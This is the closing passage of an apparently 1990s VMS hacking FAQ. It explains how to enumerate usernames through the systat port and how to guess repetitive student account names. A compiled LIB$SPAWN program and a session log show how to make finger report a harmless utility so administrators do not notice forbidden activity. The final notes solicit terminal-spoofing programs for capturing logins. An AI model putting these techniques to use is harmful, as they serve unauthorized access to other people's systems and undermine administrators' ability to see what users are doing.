  1622.         port has been left open.  With this in mind,  you can
  1623.         sort though all the jobs and grab usernames,  while excluding
  1624.         system jobs (I.E - SWAPPER,  ERRFMT,  AUDIT_SERVER,
  1625.         JOB_CONTROL,  NETACP,  EVL,  REMACP,  SYMBIONT*,
  1626.         XYP_SERVER,   OPCOM,  INET_SERVERS, etc....etc).
  1627.  
  1628.         Also,  I find one great trick is to look for "Student" type
  1629.         accounts.  That is,  accounts that appear to be repetitive.
  1630.         You can then predict possible usernames.
  1631.  
  1632.         The above can be accomplisted by using the below command
  1633.         (In most cases):
  1634.  
  1635. $ TELNET SITE.ADDRESS.COM /PORT=11
  1636.  
  1637.  
  1638. 2.      "On Unix machines,  I can make a symbolic link to a 'questionable'
  1639.         command,   so that is appears that I am doing one thing when
  1640.         I am really doing another (Or copying and renaming the command).
  1641.         Is there anyway I can make it appear that I am doing something
  1642.         that I am not?".
  1643.  
  1644.         When the command "FINGER" is issued,  a user/administrator
  1645.         can see what image is currently being executed by a particular
  1646.         user.   For example sake,  lets say you want to play with
  1647.         NCP but you know that if the administrators see you in NCP,
  1648.         they will get rather irate,  and kick you off the system.
  1649.         You can make it appear that you are doing something else
  1650.         by:
  1651.  
  1652.         a>  Copying the image,  renaming it,  and running it. [which
  1653.             may or may not work].
  1654.         b>  Write a routine that calls LIB$SPAWN named the command
  1655.             you wish to appear to be executing,   thus making it
  1656.             appear via finger that you are executing another command.
  1657.  
  1658.         Below is a quick example session to examine of senerio b. :
  1659.  
  1660. -----------------------<Begin Log Of Session>------------------------------
  1661. Trying...
  1662. Connected to UpperDck.
  1663. Escape character is '^]'.
  1664.  
  1665.                        UpperDck VMS Development System
  1666.  
  1667.  
  1668. Username: JOEUSER
  1669. Password:
  1670.         Welcome to VAX/VMS version V5.2 on node UPPERDCK
  1671.     Last interactive login on Friday, 20-JAN-1995 12:58
  1672.  
  1673.  User= JOEUSER      Directory= [JOEUSER]       UIC=  [JOEUSER]
  1674.         Terminal= NTY12:      20-JAN-1995 13:00:16.93
  1675.  
  1676. $ create mail.bas
  1677. 10 external long function lib$spawn  ! Create a program that calls LIB$SPAWN
  1678.    declare long xspawn               ! This can be coded in anything you
  1679.    xspawn=lib$spawn()                ! want
  1680. <CRTL-Z>
  1681. $ basic mail                         ! Compile out LIB$SPAWN program
  1682. $ link mail                          ! Link it.
  1683. $ finger                             ! Show what we look like before we run it
  1684. 20 JAN 13:02:06    Up 28 21:15:12
  1685. 2+0 Jobs   Load ave  0.07 0.03 0.01
  1686.  
  1687. Login   Name                 Job   Subsys  TTY     Idle  Net Site
  1688. JOEUSER JOEUSER              0013d FINGER  nty12         UPPERDCK
  1689. OPER    Operations           0013a GLYPH   nty9     40   OPSITE
  1690.  
  1691. $ run mail      ! Makes us appear as if we are in the "MAIL" utility.
  1692. $ finger        ! Take a look'see
  1693. 20 JAN 13:02:15    Up 28 21:15:21
  1694. 2+0 Jobs   Load ave  0.07 0.03 0.01
  1695.  
  1696. Login   Name                 Job   Subsys  TTY     Idle  Net Site
  1697. JOEUSER JOEUSER              0013d MAIL    nty12         UPPERDCK
  1698. OPER    Operations           0013a GLYPH   nty9     40   OPSITE
  1699.  
  1700. $ log  ! Stop the subprocess
  1701.   Process JOEUSER_1 logged out at 20-JAN-1995 13:02:20.02
  1702. $ log  ! logout
  1703.   JOEUSER        logged out at 20-JAN-1995 13:02:22.32
  1704.  
  1705. -----------------------------<End Of Log>--------------------------------
  1706.  
  1707.  
  1708.  
  1709. Finnal Notes:
  1710.  
  1711.         This FAQ is far from complete,  and will remain in its "beta"
  1712.         stages for sometime.
  1713.  
  1714.         I am sure that many people while question the fact of the us
  1715.         of VMS BASIC as opposed to C.    The reason that some examples
  1716.         where given with VMS BASIC is because of a lack of a C compiler
  1717.         on our local machine.   Besides,  it gets the job done
  1718.         (sloppy).
  1719.  
  1720.         I was mailed many terminal spoofing programs,  but since the
  1721.         range on these can be so large,  and its one of the most
  1722.         common VMS hack's,  I will wait until the next release of this
  1723.         FAQ until a good terminal spoofing is released with this
  1724.         (Anyone ever thought of grabbing the SYS$ANNOUNCE to emulate
  1725.         the login screen??).
  1726.  
  1727.         I got alot of mail from alot of people.
  1728.  
  1729.         Thanks to Shadow Hacker,   Risc,   Trouser,  Spoon,  and
  1730.         all the boys at The Upper-Deck.
  1731.  
  1732.         Bitwarrier for intresting conversation (besides terminal
  1733.         spoofing),  the ton of people that mailed me.  Thanks.
  1734.  
  1735.         - Things that need to be added/updates:
  1736.  
  1737.           Identifying VMS machines.....
  1738.           Information on the OPCOM process....
  1739.           Information on accounting/user tracking...
  1740.           A decent terminal spoof program
  1741.  
  1742.         - This that we are looking for [Please mail beaver@upperdck.blkbox.
  1743.           com,  if you know about these hack's]
  1744.  
  1745.           VMS Phone mail recording facility (Uses undocumented routines
  1746.           found in the PHONE.EXE command)
  1747.  
  1748.           Passing commands via VMS mail.
  1749.  
  1750.         If you have anything remotely intresting for the next release,
  1751.         please mail them to me at:
  1752.  
  1753.         beaver@upperdck.blkbox.com
  1754.  
  1755.         "It ain't done,  but hey... It a fucking start......"
  1756.  
  1757.  
  1758.